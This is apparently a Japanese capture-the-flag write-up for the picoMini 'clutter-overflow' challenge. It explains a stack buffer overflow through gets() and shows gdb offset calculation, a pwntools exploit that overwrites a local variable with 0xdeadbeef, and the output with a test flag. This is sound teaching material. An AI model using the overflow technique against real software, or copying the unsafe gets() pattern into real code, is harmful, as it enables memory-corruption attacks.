ローカル変数の書き換え
picoMini by redpwnの「clutter-overflow」。ローカル変数の書き換えをしてif文の判定をTrueにしフラグを出力。
基礎的な問題だが、ローカル変数の書き換え、スタックの様子など良い復習になった。
プログラムの概要
checksec
shoebill@pwner:~/pico$ checksec ./chall [*] '/home/shoebill/pico/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
「NX enabled」より、テキスト領域でないデータ領域に置かれたコードが実行できない。
しかしソースコードを見ればわかるように、こちらがシェルを起動する必要はなく、system(cat flag.txt)
でフラグを出力するようになっている。
ソースコード
”pwn問でお馴染みの”gets
関数があることに気付く(一部省略):
... #define SIZE 0x100 #define GOAL 0xdeadbeef int main(void) { long code = 0; char clutter[SIZE]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("My room is so cluttered..."); puts("What do you see?"); gets(clutter); if (code == GOAL) { printf("code == 0x%llx: how did that happen??\n", GOAL); puts("take a flag for your troubles"); system("cat flag.txt"); } else { printf("code == 0x%llx\n", code); printf("code != 0x%llx :(\n", GOAL); } ...
戦略
if (code == GOAL)
をTrueにすればよい
👇
そのためには0で初期化されているローカル変数code
を0xdeadbeef
に書き換えればよい
👇
gets(clutter)
の部分でbofして変数code
に0xdeadbeef
を書きこむ
デバッグしてアドレスやオフセットを求める
code
のアドレス
まずmain
関数をディスアセンブルすれば、code
変数の位置はrbp-0x8
とわかる:
(ローカル変数はrbp
レジスタからの変位で表される)
gdb-peda$ disas main Dump of assembler code for function main: 0x00000000004006c7 <+0>: push rbp 0x00000000004006c8 <+1>: mov rbp,rsp 0x00000000004006cb <+4>: sub rsp,0x110 0x00000000004006d2 <+11>: mov QWORD PTR [rbp-0x8],0x0 # 👈 この0で初期化してる部分 0x00000000004006da <+19>: mov rax,QWORD PTR [rip+0x20197f] 0x00000000004006e1 <+26>: mov esi,0x0 0x00000000004006e6 <+31>: mov rdi,rax 0x00000000004006e9 <+34>: call 0x4005a0 <setbuf@plt> ...
スタックのイメージ:
+-----------------------------+ | | -0x8 | code | | | +-----------------------------+ | | | saved rbp | | | +-----------------------------+ | | | retaddr | +0x8 | | +-----------------------------+
clutter
のアドレス
gets(clutter);
の位置にブレイクポイントを打って、その時のrdi
レジスタを見ればよい:
gdb-peda$ b *main+133 gdb-peda$ r ... [-------------------------------------code-------------------------------------] 0x40073d <main+118>: lea rax,[rbp-0x110] 0x400744 <main+125>: mov rdi,rax 0x400747 <main+128>: mov eax,0x0 => 0x40074c <main+133>: call 0x4005d0 <gets@plt> 0x400751 <main+138>: mov eax,0xdeadbeef 0x400756 <main+143>: cmp QWORD PTR [rbp-0x8],rax 0x40075a <main+147>: jne 0x40078c <main+197> 0x40075c <main+149>: mov esi,0xdeadbeef Guessed arguments: arg[0]: 0x7fffffffdc20 --> 0x8 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdc20 --> 0x8 0008| 0x7fffffffdc28 --> 0x40 ('@') 0016| 0x7fffffffdc30 --> 0x40 ('@') 0024| 0x7fffffffdc38 --> 0x10 0032| 0x7fffffffdc40 --> 0x0 0040| 0x7fffffffdc48 --> 0x1ffffefcf 0048| 0x7fffffffdc50 --> 0x0 0056| 0x7fffffffdc58 --> 0x8e00000006 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000000000040074c in main () gdb-peda$ i r rdi rdi 0x7fffffffdc20 0x7fffffffdc20
rbp
からの変位を求める:
gdb-peda$ i r rbp rbp 0x7fffffffdd30 0x7fffffffdd30 gdb-peda$ p 0x7fffffffdd30-0x7fffffffdc20 $1 = 0x110
(rbp-0x8
にcode
変数がいたことに注意して)clutter
からcode
までのオフセットを求める:
gdb-peda$ p 0x110-0x08 $2 = 0x108
スタックのイメージ:
+-----------------------------+ | | | | -0x110 | clutter | | | | | +-----------------------------+ | | -0x8 | code | | | +-----------------------------+ | | | saved rbp | | | +-----------------------------+ | | | retaddr | +0x8 | | +-----------------------------+
あ、clutter
のサイズは#define SIZE 0x100
って定義されてたな。
exploit
clutter
を0x108バイト分適当な文字で埋めて、その後にcode
があるからそこに0xdeadbeef
を書き込む(リトルエンディアンで与える)。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context.binary = bin_file def attack(conn, **kwargs): payload = b'a' * 0x108 payload += p64(0xdeadbeef) conn.sendlineafter(b'What do you see?\n', payload) def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
実行結果:
shoebill@pwner:~/pico$ ./exploit.py [+] Starting local process './chall': pid 7612 [*] Switching to interactive mode [*] Process './chall' stopped with exit code 0 (pid 7612) code == 0xdeadbeef: how did that happen?? take a flag for your troubles picoCTF{test_flag} [*] Got EOF while reading in interactive $